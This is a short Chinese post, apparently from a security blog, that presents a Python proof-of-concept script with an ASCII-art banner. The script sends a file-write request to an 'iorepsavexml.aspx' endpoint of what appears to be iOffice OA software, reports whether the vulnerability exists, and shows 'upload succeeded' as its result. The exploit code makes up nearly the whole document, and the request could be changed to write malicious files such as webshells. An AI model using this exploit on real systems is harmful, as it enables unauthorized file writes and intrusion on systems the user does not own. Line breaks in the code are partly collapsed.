源码
import requestsbanner = """________________________________________________/ \\| _________________________________________ || |\033[1;39m _,. \033[00m| || |\033[1;39m ,` -.) \033[00m| || |\033[1;39m ( _/-\\-._ \033[00m| || |\033[1;39m /,|`--._,-^| \033[1;31m,¡\033[00m \033[00m| || |\033[1;39m \\_| |`-._/|| / \033[1;31m/\033[00m \033[00m| || |\033[1;39m | `-, / | / \033[1;31m/\033[00m \033[00m| || |\033[1;39m | || | / \033[1;31m/\033[00m \033[00m| || |\033[1;39m `r-._||/ __ / \033[1;31m/\033[00m \033[00m| || |\033[1;39m __,-<_ )`-/ `./ \033[1;31m/\033[00m \033[00m| || |\033[1;39m ' \\ `---' \\ / \033[1;31m/\033[00m \033[00m| || |\033[1;39m | |./ \033[1;31m/\033[00m \033[00m| || |\033[1;39m / / \033[1;31m/\033[00m \033[00m| || |\033[1;39m \\_/' \\ | / \033[1;31m/\033[00m \033[00m| || |\033[1;39m | | _,^-'/ \033[1;31m/\033[00m \033[00m| || |\033[1;39m | , `` (\\ / /_ 黑暗骑士 \033[00m| || |\033[1;39m ( / `-._//^` \033[00m| || |\033[1;39m `Y-.____(__} \033[00m| || |\033[1;39m | {__) \033[00m| || |\033[1;39m () \033[00m| || |_________________________________________| || |\_________________________________________________/\___________________________________/____________________________________________-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-__-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-__-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-__-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-__-'.-.-.-.-.-. .---.-. .-------------------------. .-.---. .---.-.-.-.`-_
:-------------------------------------------------------------------------:
`---._.-------------------------------------------------------------._.---'
"""
print(banner)ip = input(":")
# 定义目标URL和请求参数
url = ip + '/ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=poc.txt&filepath=/upfiles/rep/pic/'# 设定请求头
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Accept-Encoding': 'gzip, deflate','Cookie': 'ASP.NET_SessionId=lcluwirkrcqj42iuxfvafoq4', # 注意:这里的Cookie值可能需要根据实际情况修改'DNT': '1','Upgrade-Insecure-Requests': '1','Content-Type': 'application/x-www-form-urlencoded','Connection': 'close'
}data = 'poc' # 或者例如:data = 'param1=value1¶m2=value2'response = requests.post(url, headers=headers, data=data)if response.status_code == 200: print(f"[+] {ip} 漏洞存在")
else: print(f"[-] {ip} 漏洞不存在")
执行效果
上传成功